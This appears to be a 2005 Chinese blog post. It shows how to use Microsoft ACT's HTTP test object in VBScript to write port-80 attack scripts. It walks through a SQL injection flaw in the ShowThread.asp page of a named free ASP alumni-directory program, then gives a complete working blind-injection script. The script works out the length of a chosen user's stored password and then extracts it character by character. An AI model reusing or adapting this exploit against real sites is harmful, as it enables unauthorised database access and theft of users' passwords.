📄 20050302112212.txt
字号:
vbs来写sql注入等80端口的攻击脚本|hyenpkjvlg|鱼鱼|hyenpkjvlg|2005-03-02.11:15|hyenpkjvlg|26|hyenpkjvlg|昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中:<br>-Connection对象<br>Close方法<br>Send方法<br>IsOpen属性<br>Port属性<br>RedirectDepth属性<br>Server属性<br>UseSSL属性<br>-Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵<br>Expires属性<br>Name属性<br>Path属性<br>Value属性<br>-Cookies对象<br>Add方法<br>Remove方法<br>RemoveAll方法<br>Count属性<br>Item属性<br>-Header对象<br>Name属性<br>Value属性<br>-Request对象<br>Body属性<br>CodePage属性<br>EncodeBody属性<br>EncodeQueryAsUTF8属性<br>Headers属性<br>HTTPVersion属性<br>Path属性<br>ResponseBufferSize属性<br>Verb属性<br>-Response对象<br>Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。<br>CodePage属性<br>BytesRecv属性<br>BytesSent属性<br>ContentLength属性<br>Headers属性<br>HeaderSize属性<br>HTTPVersion属性<br>Path属性<br>Port属性<br>ResultCode属性<br>HTTP状态代码<br>Server属性<br>TTFB属性<br>TTLB属性<br>UseSSl属性<br>-Test对象<br>CreateConnection方法<br>CreateRequest方法<br>GetCurrentUser方法<br>GetGlobalIndex方法<br>GetGlobalVariable方法<br>GetNextUser方法<br>IncrementGlobalIndex方法<br>SendRequest方法<br>SetGlobalIndex方法<br>SetGlobalVariable方法<br>Sleep方法<br>Trace方法<br>TraceLevel属性<br>-User对象<br>Cookies属性<br>Name属性<br>Password属性<br><br>到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明:<br>oResponse = Test.SendRequest(strURL)<br>参数:strURL as string:表示所请求的URL<br>返回值:oResponse As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)<br>这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:<br><br>风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:<br><br>...<br>topicid=request("RootID")<br>sql="select topic,hits from bbs where parentid=0 and bbsid="&topicid<br>set rs=conn.execute(sql)<br>...<br><br>非常古老且经典的一个,呵呵,试了下:<br>http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=1<br>http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=2<br>数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。<br>要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。<br><br>'*********************************************<br>'风月同学录V1.60漏洞测试脚本 by luoluo<br>'注意:需要装Visual Studio.Net里的ACT工具<br>'*********************************************<br><br><br>'**********************************优化了下,效率要高些<br>Option Explicit<br>On Error Resume Next<br><br>Dim Test<br>Dim o_Response<br>Dim Wrong <br>Dim i,j,k<br>Dim pwd_len<br>Dim pwd<br>Dim strings<br>Dim username<br><br>'从命令行得到要破解的人的用户名<br>If WScript.Arguments.Count > 0 Then<br>username = WScript.Arguments(0)<br>Else<br>username = "luoluo" <br>End If<br><br>WScript.Echo "开始探测,请等待... ..."<br><br>'正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了<br>Wrong = "luoluoisachinesehacker"<br>'存放密码<br>pwd = ""<br>'密码的字符范围<br>strings = "0123456789abcdefghijklmnopqrstuvwxyz"<br><br>'建立对象<br>Set Test = CreateObject("ACT.Test")<br><br>'得到用户的密码的长度<br>For i = 0 to 128 step 1<br>'发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些<br>Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20len(userpwd)='" & i & "'%20and%20userid='" & username & "')")<br><br>'如果返回的页面里有正确标志那么长度就对了<br>If instr(o_Response.Body, Wrong) <> 0 Then<br>pwd_len = "" & i & ""<br>Exit For<br>End If<br>Next<br><br>'猜解用户的密码<br>For j = 1 to pwd_len step 1<br>For k = 1 to len(strings) step 1<br>Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")='" & pwd & mid(strings,k,1) & "'%20and%20userid='" & username & "')")<br><br>If instr(o_Response.Body, Wrong) <> 0 Then<br>pwd = pwd & mid(strings,k,1)<br>Exit For<br>End If <br>Next<br>Next<br><br>If err Then<br>WScript.Echo "错误:" & Error.Description<br>Error.Clear<br>Else<br>'输出密码<br>WScript.Echo "密码:" & pwd<br>End If<br><br>Set Test = nothing<br>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -